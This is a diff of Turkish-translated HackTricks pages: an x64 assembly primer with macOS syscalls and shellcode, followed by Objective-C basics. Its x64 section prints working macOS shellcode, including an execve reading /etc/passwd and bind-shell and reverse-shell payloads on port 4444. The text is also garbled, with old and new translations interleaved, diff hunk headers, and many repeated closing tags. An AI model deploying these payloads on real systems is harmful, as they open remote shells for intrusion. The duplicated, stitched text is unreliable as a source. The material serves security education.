# Introduction to x64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks_live) takip edin.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **x64'ün Tanıtımı**
## **Introduction to x64**
x64, aynı zamanda x86-64 olarak da bilinir, masaüstü ve sunucu bilgisayarlarında yaygın olarak kullanılan 64-bit işlemci mimarisidir. Intel tarafından üretilen x86 mimarisinden türemiş ve daha sonra AMD tarafından AMD64 adıyla benimsenmiştir, bugün kişisel bilgisayarlarda ve sunucularda yaygın olarak kullanılan mimaridir.
x64, ayrıca x86-64 olarak bilinir, esas olarak masaüstü ve sunucu bilgisayarlarında kullanılan 64-bit bir işlemci mimarisidir. Intel tarafından üretilen x86 mimarisinden türetilmiş ve daha sonra AMD tarafından AMD64 adıyla benimsenmiştir; günümüzde kişisel bilgisayarlar ve sunucularda yaygın olarak kullanılan mimaridir.
### **Registerlar**
### **Registers**
x64, x86 mimarisini genişleterek **16 genel amaçlı register** içerir: `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi` ve `r8` ile `r15`. Her biri **64-bit** (8-byte) bir değer saklayabilir. Bu registerlar uyumluluk ve belirli görevler için 32-bit, 16-bit ve 8-bit alt-registerlara sahiptir.
x64, x86 mimarisini genişleterek **16 genel amaçlı kayıt** sunar: `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, ve `r8` ile `r15`. Her biri **64-bit** (8-byte) bir değeri saklayabilir. Bu kayıtlar ayrıca uyumluluk ve belirli görevler için 32-bit, 16-bit ve 8-bit alt kayıtlar içerir.
1. **`rax`** - Genellikle fonksiyonlardan **dönüş değerleri** için kullanılır.
2. **`rbx`** - Bellek işlemleri için genellikle bir **baz register** olarak kullanılır.
3. **`rcx`** - Genellikle **döngü sayıcıları** için kullanılır.
4. **`rdx`** - Genişletilmiş aritmetik işlemler de dahil olmak üzere çeşitli rollerde kullanılır.
5. **`rbp`** - Yığın çerçevesi için **baz işaretçisi**.
6. **`rsp`** - Yığının en üstünü takip eden **yığın işaretçisi**.
7. **`rsi`** ve **`rdi`** - Dize/bellek işlemlerinde **kaynak** ve **hedef** dizinleri için kullanılır.
8. **`r8`** ile **`r15`** - x64'te tanıtılan ek genel amaçlı registerlar.
1. **`rax`** - Geleneksel olarak **fonksiyonlardan dönen değerler** için kullanılır.
2. **`rbx`** - Genellikle bellek işlemleri için bir **temel kayıt** olarak kullanılır.
3. **`rcx`** - Sıklıkla **döngü sayacı** olarak kullanılır.
4. **`rdx`** - Uzatılmış aritmetik işlemler de dahil olmak üzere çeşitli rollerde kullanılır.
5. **`rbp`** - Yığın çerçevesi için **temel işaretçi**.
6. **`rsp`** - **Yığın işaretçisi**, yığının en üstünü takip eder.
7. **`rsi`** ve **`rdi`** - Dize/bellek işlemlerinde **kaynak** ve **hedef** indeksleri için kullanılır.
8. **`r8`** ile **`r15`** - x64'te tanıtılan ek genel amaçlı kayıtlar.
### **Çağrı Sözleşmesi**
### **Calling Convention**
x64 çağrı sözleşmesi işletim sistemlerine göre değişir. Örneğin:
x64 çağrı konvansiyonu işletim sistemlerine göre değişir. Örneğin:
* **Windows**: İlk **dört parametre**, **`rcx`**, **`rdx`**, **`r8`** ve **`r9`** registerlarına iletilir. Daha fazla parametre yığına itilir. Dönüş değeri **`rax`** registerındadır.
* **System V (genellikle UNIX benzeri sistemlerde kullanılır)**: İlk **altı tamsayı veya işaretçi parametreleri**, **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** ve **`r9`** registerlarına iletilir. Dönüş değeri de **`rax`** registerındadır.
* **Windows**: İlk **dört parametre** **`rcx`**, **`rdx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Diğer parametreler yığına itilir. Dönen değer **`rax`** içindedir.
* **System V (genellikle UNIX benzeri sistemlerde kullanılır)**: İlk **altı tamsayı veya işaretçi parametre** **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** ve **`r9`** kayıtlarında geçilir. Dönen değer de **`rax`** içindedir.
Eğer fonksiyonun altıdan fazla girişi varsa, **geri kalanlar yığına iletilir**. **RSP**, yığın işaretçisi, **16 byte hizalanmış** olmalıdır, yani herhangi bir çağrıdan önce işaret ettiği adresin 16'ya bölünebilir olması gerekir. Bu normalde, bir fonksiyon çağrısından önce shellcode'umuzda RSP'nin uygun şekilde hizalandığından emin olmamız gerektiği anlamına gelir. Ancak uygulamada, sistem çağrıları bu gereksinimi karşılamadığında bile birçok kez çalışır.
Fonksiyonun altıdan fazla girişi varsa, **geri kalan yığında geçilecektir**. **RSP**, yığın işaretçisi, **16 byte hizalanmış** olmalıdır; bu, işaret ettiği adresin herhangi bir çağrıdan önce 16'ya tam bölünebilir olması gerektiği anlamına gelir. Bu, genellikle bir fonksiyon çağrısı yapmadan önce RSP'nin düzgün bir şekilde hizalanmasını sağlamamız gerektiği anlamına gelir. Ancak pratikte, sistem çağrıları bu gereklilik karşılanmasa bile birçok kez çalışır.
### Swift'te Çağrı Sözleşmesi
### Calling Convention in Swift
Swift'in kendi **çağrı sözleşmesi** [**burada bulunabilir**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
Swift'in kendi **çağrı konvansiyonu** vardır, [**burada bulabilirsiniz**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
### **Yaygın Komutlar**
### **Common Instructions**
x64 komutları, önceki x86 komutlarıyla uyumluluğu korurken yeni komutlar da tanıtır.
x64 talimatları, önceki x86 talimatlarıyla uyumluluğu koruyarak ve yenilerini tanıtarak zengin bir set sunar.
* **`mov`**: Bir değeri başka bir **register** veya **bellek konumuna** taşır.
* Örnek: `mov rax, rbx``rbx`'den `rax`'e değeri taşır.
* **`push`** ve **`pop`**: Değerleri **yığına** itme veya yığından çekme.
* **`mov`**: Bir **değeri** bir **kayıttan** veya **bellek konumundan** diğerine **taşır**.
* Örnek: `mov rax, rbx``rbx`'teki değeri `rax`'e taşır.
* **`push`** ve **`pop`**: Değerleri **yığına** itme veya yığından alma.
* Örnek: `push rax``rax`'teki değeri yığına iter.
* Örnek: `pop rax` — Yığının en üstündeki değeri `rax`'e çeker.
* Örnek: `pop rax` — Yığının en üstündeki değeri `rax`'e alır.
* **`add`** ve **`sub`**: **Toplama** ve **çıkarma** işlemleri.
* Örnek: `add rax, rcx``rax` ve `rcx`'teki değerleri toplar ve sonucu `rax`'e saklar.
* **`mul`** ve **`div`**: **Çarpma** ve **bölme** işlemleri. Not: Bu işlemler operand kullanımıısından belirli davranışlara sahiptir.
* **`call`** ve **`ret`**: Fonksiyonları **çağırmak** ve **dönmek** için kullanılır.
* **`int`**: Yazılım **kesmesi** tetiklemek için kullanılır. Örn., 32-bit x86 Linux'ta sistem çağrıları için `int 0x80` kullanılmıştır.
* **`cmp`**: İki değeri karşılaştırır ve CPU'nun bayraklarını sonuca göre ayarlar.
* Örnek: `cmp rax, rdx``rax`'i `rdx` ile karşılaştırır.
* **`je`, `jne`, `jl`, `jge`, ...**: Önceki bir `cmp` veya testin sonuçlarına göre kontrol akışını değiştiren **koşullu atlama** komutları.
* Örnek: `add rax, rcx``rax` ve `rcx`'teki değerleri toplar ve sonucu `rax`'te saklar.
* **`mul`** ve **`div`**: **Çarpma** ve **bölme** işlemleri. Not: Bunların operand kullanımıyla ilgili belirli davranışları vardır.
* **`call`** ve **`ret`**: **Fonksiyonları çağırmak** ve **dönmek** için kullanılır.
* **`int`**: Yazılım **kesintisi** tetiklemek için kullanılır. Örneğin, `int 0x80` 32-bit x86 Linux'ta sistem çağrıları için kullanılmıştır.
* **`cmp`**: İki değeri **karşılaştırır** ve sonuca göre CPU'nun bayraklarını ayarlar.
* Örnek: `cmp rax, rdx``rax`'ı `rdx` ile karşılaştırır.
* **`je`, `jne`, `jl`, `jge`, ...**: Önceki bir `cmp` veya testin sonuçlarına göre kontrol akışını değiştiren **koşullu atlama** talimatları.
* Örnek: `cmp rax, rdx` talimatından sonra, `je label``rax` `rdx`'e eşitse `label`'e atlar.
* **`syscall`**: Bazı x64 sistemlerinde (modern Unix gibi) **sistem çağrıları** için kullanılır.
* **`sysenter`**: Bazı platformlarda optimize edilmiş bir **sistem çağrısı** talimatı.
* **`syscall`**: Bazı x64 sistemlerde (modern Unix gibi) **sistem çağrıları** için kullanılır.
* **`sysenter`**: Bazı platformlarda optimize edilmiş bir **sistem çağrısı** talimatıdır.
### **Fonksiyon Prologu**
### **Function Prologue**
1. **Eski baz işaretçisini yığına itme**: `push rbp` (çağrıcının baz işaretçisini kaydeder)
2. **Mevcut yığın işaretçisini baz işaretçisine taşıma**: `mov rbp, rsp` (geçerli işlev için yeni baz işaretçisini ayarlar)
3. **Yerel değişkenler için yığında alan ayırma**: `sub rsp, <boyut>` (<boyut> ihtiyaç duyulan bayt sayısıdır)
1. **Eski temel işaretçiyi it**: `push rbp` (çağıranın temel işaretçisini kaydeder)
2. **Mevcut yığın işaretçisini temel işaretçiye aktar**: `mov rbp, rsp` (mevcut fonksiyon için yeni temel işaretçiyi ayarlar)
3. **Yerel değişkenler için yığında alan ayır**: `sub rsp, <size>` (burada `<size>`, gereken byte sayısıdır)
### **Fonksiyon Epilogu**
### **Function Epilogue**
1. **Mevcut temel işaretçiyi yığın işaretçisine aktar**: `mov rsp, rbp` (yerel değişkenleri serbest bırak)
2. **Eski temel işaretçiyi yığından al**: `pop rbp` (çağıranın temel işaretçisini geri yükler)
3. **Dön**: `ret` (kontrolü çağırana geri verir)
1. **Mevcut baz işaretçisini yığın işaretçisine taşıma**: `mov rsp, rbp` (yerel değişkenleri serbest bırakır)
2. **Eski baz işaretçisini yığından çıkarma**: `pop rbp` (çağrıcının baz işaretçisini geri yükler)
3. **Dönüş**: `ret` (kontrolü çağırıcıya geri döndürür)
## macOS
### sistem çağrıları
### syscalls
Farklı sistem çağrıları sınıfları bulunmaktadır, bunları [**burada bulabilirsiniz**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
Farklı syscall sınıfları vardır, [**burada bulabilirsiniz**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
@ -89,7 +91,7 @@ Farklı sistem çağrıları sınıfları bulunmaktadır, bunları [**burada bul
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
Sonra, her sistem çağrısı numarasını [**bu URL'de**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)** bulabilirsiniz:**
Sonra, her syscall numarasını [**bu URL'de**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** bulabilirsiniz.
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
@ -106,11 +108,11 @@ Sonra, her sistem çağrısı numarasını [**bu URL'de**](https://opensource.ap
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
Yani `open` sistem çağrısını (**5**) **Unix/BSD sınıfından** çağırmak için eklemeniz gereken şey: `0x2000000`
Bu nedenle, **Unix/BSD sınıfından** `open` syscall'ını (**5**) çağırmak için bunu eklemeniz gerekir: `0x2000000`
Yani, open çağrısını yapmak için sistem çağrı numarası `0x2000005` olacaktır
Yani, open'ı çağırmak için syscall numarası `0x2000005` olacaktır.
### Kabuk Kodları
### Shellcodlar
Derlemek için:
@ -137,7 +139,7 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
<details>
<summary>Shellcode'ı test etmek için C kodu</summary>
<summary>Shellcode'u test etmek için C kodu</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -185,9 +187,9 @@ return 0;
```
</details>
#### Kabuk
#### Shell
[**buradan**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır.
[**buradan**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) alındı ve açıklandı.
{% tabs %}
{% tab title="adr ile" %}
@ -207,7 +209,7 @@ syscall
```
{% endtab %}
{% tab title="yığınla birlikte" %}
{% tab title="yığın ile" %}
```armasm
bits 64
global _main
@ -226,9 +228,9 @@ syscall
{% endtab %}
{% endtabs %}
#### Cat ile okuma
#### cat ile oku
Amacımız `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu yüzden ikinci argüman (x1) parametrelerin bir dizisi olmalıdır (bellekte bu adreslerin bir yığını anlamına gelir).
Amaç `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bellekte bu, adreslerin bir yığını anlamına gelir).
```armasm
bits 64
section .text
@ -297,9 +299,9 @@ sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### Bağlama kabuğu
#### Bind shell
Bağlama kabuğu [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) üzerinden **4444 numaralı bağlantı noktası**'nda.
**port 4444**'te [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) adresinden Bind shell
```armasm
section .text
global _main
@ -374,9 +376,9 @@ mov rax, r8
mov al, 0x3b
syscall
```
#### Ters Kabuk
#### Ters Shell
Ters kabuk [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) adresinden alınabilir. Ters kabuk **127.0.0.1:4444** adresine yönlendirilir.
Ters shell [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) adresinden. Ters shell **127.0.0.1:4444** adresine.
```armasm
section .text
global _main
@ -438,16 +440,17 @@ mov rax, r8
mov al, 0x3b
syscall
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,38 +1,52 @@
# macOS Objective-C
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Objective-C
{% hint style="danger" %}
Objective-C ile yazılan programlar, [Mach-O ikili dosyalarına](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) derlendiklerinde **sınıf bildirimlerini korurlar**. Bu sınıf bildirimleri aşağıdaki bilgileri içerir:
Objective-C ile yazılmış programların, [Mach-O ikili dosyalarına](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) **derlendiğinde** sınıf bildirimlerini **koruduğunu** unutmayın. Bu tür sınıf bildirimleri **şunları içerir**:
{% endhint %}
* Sınıf
* Sınıf yöntemleri
* Sınıf örnek değişkenleri
Bu bilgilere [**class-dump**](https://github.com/nygard/class-dump) kullanarak erişebilirsiniz:
Bu bilgileri [**class-dump**](https://github.com/nygard/class-dump) kullanarak alabilirsiniz:
```bash
class-dump Kindle.app
```
Bu isimler, ikili dosyanın tersine çevrilmesini zorlaştırmak için gizlenebilir.
Not edin ki bu isimler, ikili dosyanın tersine mühendisliğini daha zor hale getirmek için gizlenebilir.
## Sınıflar, Metotlar ve Nesneler
## Sınıflar, Yöntemler & Nesneler
### Arayüz, Özellikler ve Metotlar
### Arayüz, Özellikler & Yöntemler
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -63,9 +77,9 @@ self.numberOfWheels += value;
@end
```
### **Nesne ve Çağrı Yöntemi**
### **Nesne & Çağrı Yöntemi**
Bir sınıfın bir örneğini oluşturmak için **`alloc`** yöntemi çağrılır, bu yöntem her bir **özelliğe bellek tahsis eder** ve bu tahsisleri **sıfırlar**. Ardından **`init`** çağrılır, bu yöntem özellikleri **gereken değerlere başlatır**.
Bir sınıfın örneğini oluşturmak için **`alloc`** yöntemi çağrılır, bu **her bir özellik için bellek ayırır** ve bu tahsisatları **sıfırlar**. Ardından **`init`** çağrılır, bu da **özellikleri gerekli değerlere** **başlatır**.
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -77,15 +91,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4];
```
### **Sınıf Metotları**
### **Sınıf Yöntemleri**
Sınıf metotları, örnek metotlarla kullanılan tire (-) yerine artı işareti (+) ile tanımlanır. Örneğin, **NSString** sınıfının **`stringWithString`** metodu:
Sınıf yöntemleri, örnek yöntemleriyle kullanılan **eksi işareti** (-) yerine **artı işareti** (+) ile tanımlanır. **NSString** sınıf yöntemi **`stringWithString`** gibi:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter ve Getter
### Setter & Getter
Özellikleri **ayarlamak** ve **almak** için, bunu bir **nokta gösterimi** veya bir **metod çağırıyormuş gibi** yapabilirsiniz:
Özellikleri **ayarlamak** ve **almak** için, bunu **nokta notasyonu** ile veya bir **metodu çağırıyormuş** gibi yapabilirsiniz:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -97,7 +111,7 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **Örnek Değişkenler**
Setter ve getter yöntemlerine alternatif olarak, örnek değişkenlerini kullanabilirsiniz. Bu değişkenler, özelliklerle aynı isme sahip olup "\_" ile başlar:
Setter ve getter yöntemlerine alternatif olarak, örnek değişkenlerini kullanabilirsiniz. Bu değişkenler, özelliklerle aynı isme sahiptir ancak "\_" ile başlar:
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
@ -106,9 +120,9 @@ NSLog(@"Number of wheels: %i", self.numberOfLeaves);
```
### Protokoller
Protokoller, özellikleri olmayan yöntem bildirimlerinin bir kümesidir. Bir protokolü uygulayan bir sınıf, bildirilen yöntemleri uygular.
Protokoller, yöntem bildirimlerinden oluşan bir settir (özellik olmadan). Bir protokolü uygulayan bir sınıf, bildirilen yöntemleri uygular.
Yöntemlerin 2 türü vardır: **zorunlu** ve **isteğe bağlı**. **Varsayılan olarak** bir yöntem **zorunlu**dur (ancak **`@required`** etiketiyle de belirtilebilir). Bir yöntemin isteğe bağlı olduğunu belirtmek için **`@optional`** kullanın.
İki tür yöntem vardır: **zorunlu** ve **isteğe bağlı**. **Varsayılan olarak** bir yöntem **zorunludur** (ancak bunu **`@required`** etiketiyle de belirtebilirsiniz). Bir yöntemin isteğe bağlı olduğunu belirtmek için **`@optional`** kullanın.
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -119,16 +133,6 @@ Yöntemlerin 2 türü vardır: **zorunlu** ve **isteğe bağlı**. **Varsayılan
@end
```
### Hepsi Bir Arada
Bu bölümde, Objective-C programlama dilinin temellerini öğreneceğiz. Objective-C, macOS işletim sisteminde yaygın olarak kullanılan bir programlama dilidir. Bu dil, macOS uygulamalarının geliştirilmesinde sıkça kullanılır ve bu nedenle macOS güvenliği ve ayrıcalık yükseltme tekniklerini anlamak için Objective-C hakkında temel bir anlayışa sahip olmak önemlidir.
Objective-C, C programlama diline dayanır ve nesne yönelimli programlama (OOP) özelliklerini içerir. Bu dilde, sınıflar, nesneler ve mesajlar kullanılarak programlar oluşturulur. Sınıflar, nesnelerin şablonlarını tanımlar ve nesneler, sınıfların örnekleridir. Mesajlar ise nesneler arasında iletişimi sağlar.
Objective-C'de, sınıflar ve nesneler arasındaki ilişkiyi belirlemek için "inheritance" (miras alma) ve "polymorphism" (çok biçimlilik) gibi OOP kavramları kullanılır. Miras alma, bir sınıfın başka bir sınıftan özelliklerini ve davranışlarını devralmasını sağlar. Çok biçimlilik ise aynı isimdeki farklı metotların farklı davranışlar sergilemesini sağlar.
Objective-C'de, sınıflar ve nesneler arasındaki iletişim mesajlar aracılığıyla gerçekleştirilir. Bir nesneye mesaj göndermek, o nesnenin belirli bir metotunu çağırmak anlamına gelir. Mesajlar, nesnelerin davranışlarını kontrol etmek için kullanılır.
Objective-C, macOS güvenliği ve ayrıcalık yükseltme tekniklerini anlamak için önemlidir çünkü birçok macOS uygulaması Objective-C dilini kullanır. Bu nedenle, Objective-C'nin temel yapılarını ve çalışma prensiplerini anlamak, macOS üzerindeki güvenlik açıklarını tespit etmek ve ayrıcalık yükseltme saldırıları gerçekleştirmek için önemlidir.
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -180,7 +184,7 @@ NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
```
### Temel Sınıflar
#### String (Dize)
#### Dize
{% code overflow="wrap" %}
```objectivec
@ -191,7 +195,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT
```
{% endcode %}
Temel sınıflar **değiştirilemez** olduğundan, mevcut bir dizeye bir dize eklemek için **yeni bir NSString oluşturulması gerekir**.
Temel sınıflar **değişmezdir**, bu nedenle mevcut bir dizeye bir dize eklemek için **yeni bir NSString oluşturulması gerekir**.
{% code overflow="wrap" %}
```objectivec
@ -199,7 +203,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published
```
{% endcode %}
Veya ayrıca bir **değiştirilebilir** dize sınıfı da kullanabilirsiniz:
Ya da **değiştirilebilir** bir dize sınıfı da kullanabilirsiniz:
{% code overflow="wrap" %}
```objectivec
@ -235,7 +239,7 @@ NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
{% endcode %}
#### Dizi, Kümeler ve Sözlükler
#### Dizi, Küme ve Sözlük
{% code overflow="wrap" %}
```objectivec
@ -285,9 +289,11 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
```
{% endcode %}
### Bloklar
### Blocks
Bloklar, **nesne gibi davranan fonksiyonlardır**, bu nedenle fonksiyonlara geçirilebilir veya **dizilerde** veya **sözlüklerde** **saklanabilir**. Ayrıca, değerler verildiğinde bir değeri temsil edebilirler, bu nedenle lambdalara benzerler.
Blocks, **nesne gibi davranan fonksiyonlardır** bu nedenle fonksiyonlara geçirilebilir veya **dizilerde** ya da **sözlüklerde** **saklanabilirler**. Ayrıca, **değerler verildiğinde bir değeri temsil edebilirler** bu nedenle lambdalara benzer.
{% code overflow="wrap" %}
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
@ -302,7 +308,7 @@ NSLog(@"3+4 = %d", suma(3,4));
```
{% endcode %}
